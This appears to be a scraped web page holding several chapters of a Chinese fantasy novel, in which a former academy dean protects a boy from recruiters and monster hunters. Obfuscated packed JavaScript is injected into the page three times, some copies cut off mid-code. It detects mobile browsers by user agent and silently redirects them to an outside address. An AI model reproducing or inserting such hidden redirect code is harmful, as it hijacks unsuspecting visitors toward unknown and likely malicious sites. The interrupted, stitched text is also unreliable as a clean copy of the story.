;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16419021|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诅咒”,是祖先做坏事的报应。 表面上看,让林栖入学是为了他好,因为学城“干净”,越早入学,就越有可能避开侵蚀。 但之后呢? 刻意让一个人保持绝对干净,听起来是像在保护他,还是像把一件实验材料放进培养皿? 更重要的是,能在白塔层面动手脚的人,这世上也没有几个。 窗外远处,连绵丘陵上方,隐约可见一座孤高白塔,在它周围就是学城的“中心区”,也就是除圣城之外,这世上最干净的一片地方。 城外松林里,报喜鸟们沉默走着,心情仿佛游街示众。 树荫也遮盖不住一身红色制服。 领队很有一种当众脱衣服的冲动。 太丢人了。 从没听过有人报喜还被赶出来的。 他们是全世界最丢人的四个报喜鸟! “队长——”有人叫了一声。 领队像只被人捏住脖子的斗鸡,昂起头道,“干嘛!” “那家人真的有病吧?我说真的,咱们要不要找个精神医生过去看看?” 领队从鼻孔里哼了一声,“看看?然后呢,以德报怨,集资给他们治病?” “那倒不用……我意思是,咱们先别回去吧?” 回去等于交不上任务,等于丢人,等于后半辈子都别混了。 领队当然清楚,但能有什么办法!难道真的找个精神医生?把大的那个抓进精神病院,小的那个直接绑走?! 这简直就是脑子有……天才啊! 对对对,他有印象,是有那么一条规定,可以强制执行。 行动手册!快找行动手册! 事已至此,也顾不上丢人,几人回到部里一通翻找,手册是找到了,但上面只有一句:如遇阻挠,可采取必要措施。 ……阻挠是什么阻挠?家长不让进门算不算阻挠?必要措施是什么措施?把孩子直接抢走算不算必要措施? 队长一拍桌子,做出最终解释,“你们都看到了,那个孩子本来很想上学,但在家长威逼之下,根本没得选择……咱们遇到这种情况,只能采取必要措施,明天叫上支援,再去一趟!” 这时走廊忽然一阵骚动。 有人大步跑来,还没进门已经开始嚷嚷:“听说了吗?他们在抓幽冥!已经围困住了,如果成功,咱们就能见证历史!” 四个报喜鸟同时一喜。 太好了!见证历史!谁还有空嘲笑他们? 等等…… 抓幽冥?! 真的假的?万一把这怪物惹恼了怎么办? 会不会又来袭击学城?? “有把握吗?围在哪儿了?” 同一时间,荒芜深处,三十多支猎捕队正围着一座岩石峡谷。 俯瞰谷中一片猩红,血雾越来越浓,好似一锅血浆悄然沸腾,最浓处顶出粘稠的气泡,缓缓膨胀,而后无声炸开。 雾色随之漫出谷地,在两岸苍白的岩石上缓缓流淌…… 成群的蓝闪蝶追着血色,给峡谷描出一道妖异蓝边。 谷中安静异常,没有厮杀,没有咆哮,只有不断涌出的血雾宣告诱捕行动再次失败,投放的诱饵已被目标猎杀。 谷底,浓雾蔓延,像是一场黑色的雪,寂寂飘落,在地上覆了深深一层。 空气中传出极细微的嘶声,像有无数条毒蛇在同时吐着信子。 怪物尸体僵立在地,硕大头颅闷声掉落,向前滚了半圈,浸透在地面积蓄的黑雾中,如同陷入纯黑色的泥沼。 黑雾像是一条逆流而上的河,顺着这具庞大躯体上的皮肉肌理悄然蔓延,片刻,怪物血肉绽开,腐蚀剥落,发出一阵踩雪似的轻响。 只几息间,狰狞的怪物头颅就被蚀成苍白一颗,自颅腔中落下焦黑的粉末,像沙漏缓慢流淌,在地上堆起尖尖一滩。 一只兽爪从黑雾深处缓缓探出—— 爪钩狭长尖锐,状似猛禽,肌骨嶙峋,覆满森然的毒刺与黑羽,姿态却像人手。 漆黑食指抬起少许,勾着空洞的眼眶,将头骨提了起来。 一只红色小虫飞舞着,落在指骨末端,像一颗新鲜溅落的血珠,顺着爪尖,滑入空洞眼眶。 浓雾如幕,一道诡谲黑影渐渐隐入深处。 诱饵还剩六只。 4. 第 4 章 林栖做了一个奇怪的梦。 梦里所有他认识的人都像是不认识他,跟他打照面时,总要问一句你是谁。 而当他回答之后,对方又会露出一副果然不认识的表情,礼貌地同他挥手告别。 人群中都是复制粘贴般的面孔,他站在十字路口,跟自己所熟知的一切擦身而过。 醒来之后,他在床上多躺了一会儿才起。晨曦清凉明澈,观沄把饭桌摆到了院子里。 林栖坐在桌边,目光漫无目的地飘散出去。 等回过神来,林鹭已经在旁边另起一张桌子,坐下了。 过了一会儿,观沄端着餐盘出来。崭新的浅蓝色骨瓷盘中点缀着新鲜采摘的香草,罗勒和角堇编织成精致的花环,中间端正摆着一颗煎蛋。 这该是一顿很精致的早餐……如果煎蛋没糊的话。 观沄一早上煎了十六颗鸡蛋,榨干了所有库存,很遗憾,所有鸡蛋都遭受了惨无人道的虐待,这已经是其中受伤最轻的一颗。 他沉默着把盘子摆好,建议道:“可以先吃松子。” 林鹭从旁瞄见那颗糊煎蛋,手中勺子朝林栖晃了晃,“你还不知道吧?他连仙人掌都能养死。” 管家在一旁补充:“养死一两个人更是不在话下。” 而作为那个有可能被养死的人,林栖此时在想:到底要不要告诉院长? 他看向观沄,就见观沄脸色复杂地朝他笑了笑,自首道:“还有绿萝。” 这时远处传来一阵玻璃风铃声,清脆剔透。 外面有人来了。 林鹭耳朵一竖,跳起来就往树屋跑。 管家紧随其后。 观沄平静看向院门。 而林栖正在思考:什么绿萝? 人声近了,已经能听到原木台阶传来踏踏声响,动静像是靴子。 老橡树上,小木屋传出一阵响动,一小团人影掀开天窗,顺着二段梯继续向上攀爬。 片刻,藏在浓密树冠中的“瞭望塔”上开了窗,从窗缝探出一支木雕望远镜。 松果球噼里啪啦砸向院外。 台阶上传回一阵暴雨落伞面的声响,而脚步声并没有停。 院门外,身穿浅灰色制服的年轻人撑着墨色巨伞,朝身后倨傲一笑,“都说了,不用担心,有我们呢。” 伞骨间盘着一条碧青蛇影,半虚半实,蛇尾一卷,伞面就随之缩小一圈。 制服后背绣着学城徽章,左肩另有一枚学院方章,肩前钉着两枚银扣,正面刻十字星,证明这是一名科班出身的“画傀师”——通称“画师”,二星等级。 旁边另有一名“画师”,比他略矮一些,肩前只有一枚银扣,代表一星等级。 一星画师左手食指勾住一枚银环,右手将薄薄一枚纸团抛向上空。 纸团离手,即刻展开成一只菱形风筝,饮风而涨,片刻间首尾已经超过十米,由一根细银线牵着,轻盈飘在上方,影子投落一片半透明的彩格。 又有一阵松果球从天而降,但被风筝挡住,依然没砸到人,只是远远滑落出去。 今天的报喜鸟看着比昨天还要喜庆。 领队挺胸挺得像只斗鸡。 这次过来,他带了三个外援,都是部门内的新晋精英,别说带走一个学生,就算同时对付两只怪物也绰绰有余。 他清了清嗓,笑着朝画师道:“能不动手最好。” 二星画师眉尾一抬,“那我在这儿干嘛?吉祥物吗?” 领队咳了一声,“不是这个意思,主要怕伤着学生。” 二星画师嘴角微微一扯,没说话,好笑地看着他,片刻手腕翻转,收了雨伞。 那条碧青色的小蛇从伞骨之间绕出,在他手腕盘了几圈。 他抓着收窄的伞身,五指向下一捋,伞布像是遇热收缩的塑料,凝成墨黑的一团影子,被他轻轻一抖,又展开成薄薄一只布袋。 他将暗金伞骨对折,再折,就这样轻松收入掌心,五指一拢,再张开时,伞骨已经拆成细长锁链,一端从指间滑落,另一端绕在黑布袋上。 他手指劲瘦修长,动作像是魔术师在舞台表演,堪称赏心悦目。报喜鸟们少有机会见到画师炫技,眼神放光,双手举在胸前,几乎就要学海豹一样啪啪鼓掌。 领队嫌弃地瞥了眼自家队员,笑道:“不愧是二星画师,部门精英跟我们这些跑腿的就是不一样,我不是不信你们实力,只是想提前沟通一下,等会儿好配合行动。” 对方却道:“用不着配合。” 拇指在那条小蛇头顶摸了摸,朝站在队尾的报喜鸟随手一指。 领队还没反应过来,就见黑布袋无声飞出,瞬间涨大,将那名报喜鸟从头到脚一兜,紧接着锁链绕上,猛地收起。 袋子倒提起来,报喜鸟发出“嗷”的一声。 领队顿觉脖子一紧,忙说厉害厉害。 二星画师抬抬手指把人放了,将黑布袋收回手里,“现在只是示范,待会儿有咒师配合,你们不会听到任何声音,只要被我看到目标人物,事情就结束了。人我们直接带走,还需要跟对方废什么话,动什么手?” 领队虽然有点脸疼,但心里很有底气,噔噔走上最后几级台阶,敲门道:“请开门,我们是学城工作人员,过来了解情况,请配合我们工作——” 隔了片刻,木门开了。 身形高挑的年轻人站在门内,淡淡抛出一句:“了解什么?” “学城有规定,家长不能阻止孩子入学。”领队说得理直气壮,转头看向两位画师,示意他们随时准备动手,却见两人站得直挺挺的,不知道的还以为是在门口罚站。 他直觉有些不对,但没细想,打算进门再说,可刚一抬脚,就被二星画师一把抓住,拽了回来。 随即就听二星画师含混叫了一声:“院长……” 一星画师也结巴道:“打、打扰了……” 领队:“??” 两名画师顾不上搭理他,说完互看一眼,见对方手上捏着画傀,想到自己手里也有,忽然激灵一下把手背到身后。 可惜一个挂着长链子,一个牵着大风筝,都不是说藏就能藏得住的。 空气静默一瞬,二星画师忽然朝旁边一指,“魏同学的新画傀做得很有意思,院长您如果有时间的话,可以帮他指点一下。” 一星画师脸色刷地一白,咬牙挣扎道:“院长我、我不行,我、我才一星……您要是实、实在有兴致的话,还是看、看看卫同学的二星作品……” 领队终于忍不住插嘴,“……院长?什么院长?” 两个画师好似一窝雏燕,齐刷刷地朝他看来—— “这位就是我们尊敬的画院院长。 “我们以前都、都是他的学生。” 画院院长? 那不就是…… 领队瞪大了眼睛,茫然道:“……真的假的?” “这还能有假?” “当、当然是真的……” 两个画师同时开口,如果可能的话,他们也希望这一切都是假的。 想当年在画院读书,他们可没少被院长收拾。 观沄出了名的不留情面,只要被他抓到错处,不管你天赋多高,成绩多好,家庭背景多硬,都得乖乖受罚。 毕竟,天赋再高也高不过画院有史以来最年轻的院长,成绩再好也破不了院长本人留下来的全科满分记录,家庭背景更别说了,观家在那些世家大族中也算数一数二。 年初评级,有人曾问过评级老师,如果是观院长来了,能评几级? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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二星画师心中响起哀乐,苦着一张脸朝观沄道:“院长,我那是开玩笑的……” 观沄:“但我没开玩笑,你开始吧。” 这一刻,精英画师回忆起了被绝对实力所支配的恐惧。 修长好看的手指哆嗦一下,硬着头皮开始操作画傀。 那只黑布袋刚飞起来,就像被人剪断提线的木偶一样,直直掉在地上。 观沄回身看向林栖,“吃饭,别光顾着看。” 男孩儿捧起牛奶杯,一双黑漉漉的眼睛看着画师,喝一小口,又拿起几颗松子慢慢地嚼。 观沄又对二星画师道:“你继续。” 二星画师收回画傀,再次放出,再次落下,然后继续放,继续落…… 观沄由着他在那里忙活,视线转向一旁,“那位一星同学,反正闲着也是闲着,你来分析一下,你这位二星同学的画傀为什么飞不起来。答对你就可以走了。” 一星画师都快哭了,以他的水平,实在看不出院长是怎么出手的,表面上,院长就只是站在那里看着而已,连手指头都没动一动。 他苦着脸道:“院长我、我错了……” 观沄微笑道:“不然你们换换?你来抓人,他来分析?” 救、救命…… 晨雾褪去,阳光渐渐有些刺眼。 两个画师站在太阳底下,交替放出画傀,人还活着,但仿佛已经死了有一会儿了。 又过了几分钟,林栖终于吃完了最后一颗树莓。 观沄一边收拾餐盘,一边朝两人道:“停吧,我得去洗碗了,没时间在这儿等着你们。” 两个画师如蒙大赦,跌跌撞撞鞠了个躬,扭头就跑。 看热闹的咒师指着林栖问了一句:“观院长,那是您学生吗?” 观沄道:“不是。” 却不解释到底什么关系,只是领着林栖走了。 于是,很快,一条消息在坊间传开—— 观院长辞职之后,居然生了一个12岁的儿子! 5. 第 5 章 清晨洗漱过后,林栖回到自己房间。 几本旧书整齐放在床头桌上。 林栖看了它们一眼,远远停步,仿佛每本书都长着八条腿,只要靠近,就会被一张大网粘住。 他的目光攀着书脊,停在其中一本。 书名旁标注着“上册”字样,但没有下册。 按照目录,上册是建校前的五年,下册是建校后的五年。 他想继续看,但院长没把下册给他。 可能是忘了给、不想给,或者院长自己也没有这本。 院长之所以给他这么多书,就是因为觉得他看不懂,所以,如果现在告诉院长他能看懂,不但拿不到更多书,现有的书也可能被没收。 那就…… 等等再说吧。 至少先把下册看完。 但是去哪儿找呢? 这种将近两百岁的书,古董店?博物馆? 正想着,一阵风铃声凭空响起。 这次声音和上次不一样,听不出具体方向,仿佛空气中隐藏着上百个透明风铃,忽然受到惊动,同时炸响。 片刻,观沄过来说:“有东西触发了松林里的机关,我要过去看看。” 外城区防护不严,偶尔会有怪物进来,为了安全,他额外设了几道预警。 林栖也想跟着一起,但又怕自己添乱。 他默默跟着观沄,从屋里走到院子,还在纠结,远远就见林鹭噌噌爬下树屋,追着观沄道:“你去打怪物吗?我也要去!” 观沄斟酌着,林鹭又强调一遍:“反正我要去你也拦不住我。” “好,好。”观沄答应下来,转头问向林栖,“你呢?” 林栖安静站着,有些出神,观沄见他没反应,略微俯身靠近,温声道:“你想一起去吗?但可能会看见怪物,要有心理准备。” 林栖依然有些迟疑,“……可以吗?” “当然可以。”观沄指了指林鹭,悄声道:“帮我个忙,看着他,别让他乱跑。” 于是,一路上,林栖的视线都像栓在林鹭身上,不但绑得牢固,还打了死结,林鹭回头瞪他几次,都没把他瞪开。 走了十几分钟,松林里开始出现血迹,像是未冷却的铁水,洒在哪里,就把哪里烧得焦糊。 空气中有一股发苦的臭味。 远处传来零星人声,紧接着是树枝断折声和一阵嘶吼。 有人在猎杀怪物。 从机关触发到现在还不到二十分钟,在这个区域,猎人不该来得这么迅速,除非是他们主动把怪物赶过来的。 怪物垂死时的叫声极具穿透力,像是一捆钢筋洞穿铁板,摩擦出凄厉的尖啸。 林鹭“啊”的一声捂住耳朵。 林栖站在原地,脸色有些发白。 观沄转向林栖,抬手捂了一下耳朵,示意他跟自己做一样的动作,“数到三十再放下。” 林栖照做,“一,二……” 因为捂着耳朵,自己的声音直接响在脑壳里,嗡嗡的,勉强抵消了一些不适。 观沄向前走出几步,身侧悄然浮现一道纯黑色的影子。 影子跨步而立,身形瞬间拔高几米,左手向后做了一个取弓的动作,右手折松枝为箭,拉开弓弦,瞄准远处。 远处林间高高飘起黑帆,几名“野猎人”已经布置好了猎场。 黑帆中心困着一只蛇形怪物,大约七八米长,鳞片稀薄,身形粗重。 怪物首尾已被钢锥贯穿,几乎砸进地里,只有身子还在挣扎扭动,异常凸起的腰腹被人横向割开,血液混着脓水汩汩涌出,在地上灼出锈蚀般的焦痕。 怪物脑袋又宽又扁,隐约还能看出一些人类特征,脑后鳞片下方长着头发,污浊地打着绺,水草一样粘在细长的颈上。 野猎人站成一圈,像在玩一个转盘游戏,怪物挣扎到谁面前,就由谁动手给它放血。 先把血放干了,心脏才好挖。 这种低等怪物只有心脏值钱。 “哧”的一声,又有人给蛇身割了一道口子,脓血带出细细一段手臂,泡得泛白,能清晰看出五根手指。 旁边有人骂道:“晦气!里面有个小的!” 声音未落,忽然就觉空气一震。 远处传来破空声响。 下一秒,一道箭影直直穿透怪物胸腔。 心脏破碎,惨叫声戛然而止。 挣扎扭动的蛇身像是机械断电,忽然就软塌下去,血液以肉眼可见的速度开始凝固。 领头人大步上前检查,接着破口大骂,吩咐手下找人。 骂声隔着几十米的距离仍能听见,这边林栖才刚数到十三,但叫声已经停了,他犹豫着松开手,刚听到远处传来一点人声,就见观沄朝他耳朵上指了指,示意他继续捂好。 哦…… 林栖继续,“十四,十五……” 很快,那群野猎人发现这边有人,大步追了过来。 他们外形粗野,每人身上都挂着一些处理过的怪物肢体。 领头人颈上绕着一串带刺的脊骨项链,腰间别着三枚兽爪挂钩,一路骂骂咧咧走近过来,指着观沄嚷嚷:“是你他妈的偷偷放箭?谁他妈给你这个胆子敢搞老子猎物!” 其他几人附和:“肯定是他!让他赔钱!” 观沄神色如常,“我很好奇,你们的猎物是从哪儿来的?” 领头人:“关你他妈屁事!” 此时林栖和林鹭都被观沄挡在身后,一名光头猎人从旁边看向林鹭,龇牙咧嘴一笑: “呀这细皮嫩肉,怪物最爱吃你这种小孩儿,直接生吞,嚼着你的时候,你还能听响,肋骨嘎嘣脆,等到了脑袋,就跟嗑核桃似的,咔咔,咔咔——” 林栖依旧捂着耳朵,数得却越来越慢,“二七……二八……” 观沄皱了下眉,语气依然平静,“嗯,确实不归我管。” 话音未落,树林上方忽然一阵响动,猎人们警惕抬头,只见一片巨大黑影笼罩下来,心中警铃大作,扭头就跑,但没跑出几步,就被黑影一口吞下。 安康鱼从斜上方俯冲下来,张开的大嘴好似一辆铲车,把那些乱叫乱蹦的小人儿连同他们脚下的泥土和枯枝一起铲进嘴里。 随后,它“咔”的一声闭上了嘴,上下三排尖牙交错合拢,整条鱼好似刹车失灵的泥头车,又向前滑行了一段才缓缓停下,宽大的下颏深深犁进土里。 周围一片尘土飞扬。 林鹭像个弹簧小人儿,蹦到一旁,低头,用力甩了几下头发。 观沄把林栖拉到一边,抬手在他头上拨了拨。 林栖眼看着几根松针和草梗从自己头顶掉了下来。 安康鱼趴在地上,一双眼睛望着天空,嘴里缓缓嚼了几下。 齿缝中顿时传出一阵哀嚎。 安康鱼又嚼几下,眼白往上翻了翻,忽然“呸”地一吐。 几个野猎人满身是泥,好像屎壳郎的粪球一样滚了出来,落地之后满脸惊慌失措,大喘粗气,一句话也不敢多说,爬起来就跑。 林栖微微张开的嘴又默默地合上了。 原来不是真的生吃活人。 他仰头看向观沄。 观沄遮着嘴,像在说什么秘密一样压低声道:“吓唬人的。” 有这一次,这帮人也能长长记性。 回去之后,林栖等着林鹭回了树屋,才问观沄:“怪物死了吗?” 观沄温声回道:“嗯,你害怕吗?” 林栖摇头,“只要发现怪物就打死吗?” 观沄斟酌片刻,还是决定不要隐瞒,让林栖尽快适应这边环境。 “不一定。不是所有怪物都会主动袭击人,有些怪物唯一的杀伤力就是长得难看。但接触怪物会对人造成侵蚀,学城这边实行分区管理,在外城遇到怪物,可以选择猎捕或驱逐,而在中区以上则是立即捕杀。” 林栖大概懂了。 那还是外城比较好。 如果有人发现他是怪物,他还能有机会逃跑。 立即捕杀的话…… 不知道这个世界的人有没有办法杀他。 他对死亡没有太多想法。 但不喜欢被杀。 今天天气很好,松林散发着一股烘烤过的清甜,窗外景色安静祥和,让人很难相信世上存在怪物。 整个上午,林栖都在练习写字。 中午,厨房里锅碗瓢盆响成一片,听起来很有烟火气。 然后,烟火气就变成了“火气”,从门缝里飘出一股浓郁糊味。 观沄叹了口气,说今天还得出去蹭饭。 邻居姐姐做了炖菜,很香,林栖比平时多吃了一碗饭。饭后观沄带他逛街消食,一路从市集逛到商街,中间跨了一个城区,虽然“下城区”也只是城郊,但也勉强算进城了。 林栖以前从不知道,观沄逛街的时候是这种画风。 见什么买什么。 而且一买就是一堆。 市集还好,都是一些零碎,到了商街之后,他眼睁睁看着这个人买了十几套睡衣,每一套都是亲子款式。 接着还有“亲子餐具”“亲子零食”“亲子家具”…… 拦不住,根本就拦不住。 这位院长买东西只需要一个理由:家里没有。 在林栖的概念里,福利院很穷,福利院院长也不富裕,以此类推,其它品种的院长应该也不是什么高薪职业。 他有点担心观沄破产。 从商街出去,林栖已经不记得到底买了多少,前路分作两边,一边热闹,一边安静,他果断地选择了安静那边。 观沄笑着让林栖带路,自己在后面跟着他走。 于是林栖专挑着人少的地方,一条路越走越暗,越走越窄,就当他以为即将走入死胡同的时候,尽头忽然又有了光。 临近正午的太阳从两道窄墙之间照进来,在青石砖上烧出一方炽白。 阳光仿佛很薄很脆。 风吹来一阵黯哑的风铃声。 让林栖想起老旧的磁带和泛黄的照片。 穿过窄墙,是一条古旧街道,老树和建筑长成一体,沿街悬挂着许多铁皮风铃,路边砖缝里戳着几只卖剩下的纸灯。 观沄随手拨响风铃,问林栖:“现在往哪边走?” 林栖习惯在路口左转,听到观沄问,已经抬起的脚尖却反而向内一勾,调转向右。 沿路都是一些没开门的小店,阳光太好,烤得人眼皮发沉,林栖注意力不太集中,顺着风铃声走了一段。 一片稠云遮住日头,视野短暂恢复清凉,他朝天上看了一眼,视线落下时,刚好瞥见一旁店招上写着“废屋”两个大字。 ? 好怪的店名。 等等,他能看懂。 是古语。 这好像是他第一次在街边看到古语。 林栖脚步没停,但明显放慢了一些。 就在这时,他听到身后有人说话。 其中一个人说:“找到了!就是这家店,能修古董造物。” 另一个人说:“也太偏了。” 林栖脚步一顿。 他听见了“古董”两个字。 古董店? 那会有古董书吗? 这是一家老式商店,左右各有两扇木门,林栖此时已经走过了店门左侧,和那块店招隔着几米距离。 他看着那两个人推门进店,这时观沄问他:“要不要进去看看?” 林栖下颌微微一抬,刚想点头,却顿住,想起自己现在是个文盲,要努力维持人设,于是朝店招指了指问:“这家是什么店?” 观沄抬起视线,似乎也有些意外会在这里看到古语写的店招,“这家店名叫废屋,应该是一家……” 他还没说完,店门就开了,出来的还是之前那两个人。 其中一人骂道:“有病吧!开店做生意,态度还这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那双眼睛微微一挑,视线穿过阳光下的微尘,在他身上略一打量,“再看,连你一起拉黑。” 于是那个“你”字的后续即刻有了—— 你有病。 对方目光在他手上一顿,收回视线,“砰”的一声关了房门。 态度确实很差。 林栖不认识他,没理由在意他的态度,可当那扇门在眼前关上,他还是有种被人当胸一把推开的错觉。 连呼吸都好像窒了一下。 他盯着那扇门,在心里捡了颗小石子,用力打在门上,扭头就走。 一路走到街角,铁皮风铃的声音渐渐远了,观沄在一旁道:“我听说过那家店。” 林栖有点心不在焉。 观沄在他左肩轻轻一揽,带着他在路口右转,“是一家造物店,可以修复古董造物。” 待机的思绪捕捉到关键词,林栖耳尖微微一动,看向观沄。 古董? 观沄:“林叙是造物师,很厉害的那种。” 不是说古董吗? 林栖恍惚一瞬,随即想起,林叙是一个两百年前的人,确实也算古董。 他将观沄这句话在脑子里倒带一遍,好奇问:“比你还厉害吗?” “不能这样比,但肯定比我厉害多了。”观沄试着解释,“过去两百年里出过很多很优秀的画傀师,我从小就很擅长学习总结,但林叙不一样,他是史上第一位造物师,整个造物体系都是他创立的,可以说,林叙是在‘无中生有’,这样能理解吗?” 树荫洒落光斑,晃进林栖眼里,他半眯着眼睛,试着想象空气里突然冒出一个从来没见过的东西。 片刻,想象失败,他摇了摇头。 “嗯……天才确实有点难懂,我以前看过一篇林叙手稿,熬着三天没睡也没研究明白。” 观沄食指关节抵着下颌,垂眸陷入回忆,不过只一两秒钟,他就回过神来,“等以后有机会,带你去看林叙那些造物,应该比较直观好懂。” 阳光映入林栖眼底深处,衬得那双眼睛澄澈到有些空茫,像是听不懂观沄在说什么。 “这就是造物的优势了,即使隔着两个世纪,还是可以看到实物。” 观沄语气像是在翻一本老照片,“那些造物大部分在白塔,小部分在造院,藏家手里也有几件,偶尔能在古董店里见到,如果你有兴趣,我就带你多去逛逛。” 林栖慢半拍地点了下头,恍惚有点不真实感。 两百年前的东西,居然现在还能见到。 …… 回去的这一路上有点奇怪。 一开始,他们偶遇了几个报喜鸟,还是那身红制服,但都是些生面孔。 接着没过多久,他们就又偶遇了一波红制服。 然后继续偶遇。 持续偶遇…… 林栖数了,不到一个小时就偶遇了三十多个。 这些报喜鸟既不靠近,也不搭话,只是看看就走,但一而再再而三的,还是让人有种待在动物园里被围观的错觉。 对此观沄没有多说什么,只让林栖不要搭理。 离开下城区后,报喜鸟不再出现,但围观并没结束,回去之后,家里也来了一位不速之客。 一开始,林栖以为他是来寻仇的,后来才发现,这人和观沄认识,而且好像很熟。 不速之客名叫凌壑,个子很高,而且打扮扎眼——打耳钉、扎马尾、一身黑西装上画满涂鸦。 林栖觉得,这人长得很好看,但脑子可能有点问题。 因为一见面,这人就给他塞了一个信封,笑嘻嘻道:“观沄生的就是我生的,来,这是爸爸给你的见面礼。” 信封是星空配色,蓝底银章,里面装着一张考试通知。 6. 第 6 章 观沄看凌壑的眼神像是在看一个精神病患。 凌壑却笑着,直接伸手往他肩膀上搭。 于是,林栖在同一天里,第二次见到了“生吃活人”的场面。 这次安康鱼足足嚼了五六分钟才把人给吐出来。 凌壑一身狼狈,散着头发坐在地上,却仿佛刚在过山车上玩儿了一趟下来,放松地呼一口气,笑着朝安康鱼招了招手,“我皮筋儿落你嘴里了,麻烦吐一下。” 安康鱼嘴巴咕哝咕哝,龇着牙缝,居然真的给他吐出一根黑色皮筋。凌壑接过,一边用手指梳理头发,一边朝观沄道:“这招还是我发明的,你得付我版权费。” 观沄收回安康鱼,不客气道:“是谁让你来的?” “是满城的风言风语啊~~都说你有一个十二岁的大儿子,我就算是死了,也得从坟包里爬出来看看。”凌壑说着,朝林栖挥了挥手。 “现在看完了?”观沄有些不耐烦。 “啊……”凌壑摸了摸头发,像是不太满意,又扯下皮筋重绑一次。 “那么请滚。”观沄指着远处赶客。 林栖眨了眨眼。 原来“请”字还可以这样用。 既然可以“请滚”,那么也可以“请死”“请咽气”“请去世”…… 凌壑低头看着自己身上,理所当然道:“滚是可以,但我衣服破了,你得借我一身换换。” 于是,半小时后。 凌壑套着一件白T坐在客厅,不知从哪儿翻出一堆零食,一边吃,一边聊着学校八卦。 所以这人也在学校教书,林栖觉得,他好像有什么自动聊天功能,不需要别人接话,自己一个人就能聊下去,既不怕尴尬,也不怕冷场。 虽然家里多了个人,但林栖还是要按时睡觉。 躺下时,客厅里的说话声依然没停,他睁着眼睛想了半天,终于把观沄对凌壑的态度总结成了两个字:容忍。 观沄好像很烦凌壑,但又能由着他烦。 看样子确实很熟。 想到这里,他心里蓦地生出一种很奇怪的感觉,很难形容,就像一个人走在太阳底下,看见别人都有影子,于是低头看了一眼自己脚下,却发现自己没有影子。 常识和经验产生了微妙的错乱。 为什么一个人会没有影子,却还习以为常? 他从床上起来,在屋里走了几圈,反复看着自己的影子被夜灯拉长揉扁。 那种很奇怪的感觉依然存在。 又过了一会儿,他才发现外面很安静,说话声已经没了。 他推门往外看了一眼,就见客厅没人,下一秒,书房里传出“砰”的一声,像是重物落地,紧接着还有一阵杂乱声响。 林栖顿时觉得:这两人终于还是打起来了。 他往前走了两步,又退回来,从自己房间翻窗出去,沿外墙绕到书房窗外。 菱格形的灯光投在地上,他听到观沄的声音从上方传来——“你到底打算什么时候滚蛋?” 接着是一阵零碎的碰撞声响,凌壑道:“你这屋里乱死了,我先帮你收完,站远点,别碍事。” 观沄:“如果我不瞎的话,这抽屉好像是你打翻的?” 林栖沉默。 原来不是打架,是打翻抽屉。 那没事了。 他正要起身离开,忽然看到一块光斑在地上一晃,回头就见一团人影蹲在两三米外,奶蓝色的睡衣即使在暗处也很显眼,是林鹭。 见他回头,林鹭抬手指了指窗户,用口型道:“你偷听。” 林栖:“……” 林鹭把手圈在嘴边,比了个大喇叭,又从衣兜里摸出一支很粗的红色水笔,朝他晃了晃。 威胁的意味非常明显。 林栖怕被观沄发现,于是蹲在原地没动。 林鹭得意地凑近过来,盯着他的脸看了一会儿,忽然抬手,在他脸上画了个圈。 然后又一个圈,再一个圈……涂涂抹抹。 林栖:“……” 红脸蛋吗? 这时就听凌壑又道:“白塔标记有点麻烦,你带着他,跟晚上带颗信号弹出门有什么区别?随便抓个报喜鸟带路都能找到你,而且这东西十八岁以后才会消失,还有六年,你就每天带他到处躲吗?” 白塔标记?报喜鸟? 林栖低头看了一眼自己手心。 忽然就明白了那些“偶遇”是怎么回事。 观沄好像说了什么,但他没能听清,片刻,凌壑的声音再次传来,“这是他们偷情用的,点上这个,屋里发生的一切,外面看不见,也听不着。” 林栖在想标记的事,而林鹭在认真画画,隔了一会儿,两人才后知后觉,书房里的声音没了。 窗内,书桌上摆了一只很怪异的紫色香炉,枝杈造型中间拢着一汪绿火,周围散出蓝色的烟。 凌壑在一张粉色纸签上写了自己名字,对折投入火中,把笔递给观沄,“该你了。” 桌上另有一张空白纸签,观沄抬眸看他片刻,在纸上草草写下名字,同样投入火里。 前一张纸签在火里静静不动,直到第二张落下,火焰才向上卷起,同时咬住两张,吐出一团甜香。 烟雾流淌而出,由线到面,迅速铺满整个房间。 满眼都是紫色。 观沄皱了皱眉,觉得整个家都不干净了。 凌壑笑着凑近,“现在可以开始偷情了,孩子妈妈。” 观沄没搭理他。 凌壑从小就是这个德行。 凌家传统,孩子养到7岁之前不剪头发,男女都一样。 凌壑长得好,小时候总被认错性别,跟观沄一起玩的时候,还总被人起哄说是他的小女朋友。 后来到了会玩过家家的年纪,这人有了逆反心理,非要自己做爸爸,让他做妈妈,他当时只顾着看书,叫他什么都随口答应,所以才会有了这个“历史遗留问题”。 观沄扫他一眼,“有话快说。” 凌壑背靠书架,眯着一双深邃狭长的眼睛,像只晒太阳的狼,“带着白塔标记,观家人也能轻松找到你,每天应付他们,你不嫌烦吗?” 观沄:“你是来劝我回观家的?” “说了你又不信,我真的是来看孩子的。”凌壑支着下巴,往前凑了凑,“小林长得那么聪明,一看就很有天赋,干嘛不让孩子上学?” 观沄听得出来,这个“林”字是在故意试他。 他朝凌壑看了片刻,“所以你是来劝我回学校的。” 这不是个疑问句。 凌壑笑了笑,不接他话,只是自顾自道:“如果怕他被人欺负,完全可以改个名字,干脆跟你姓吧?做好人做到这个份儿上,林家那些祖宗就算从坟头里爬出来,也说不出你一个不字。” 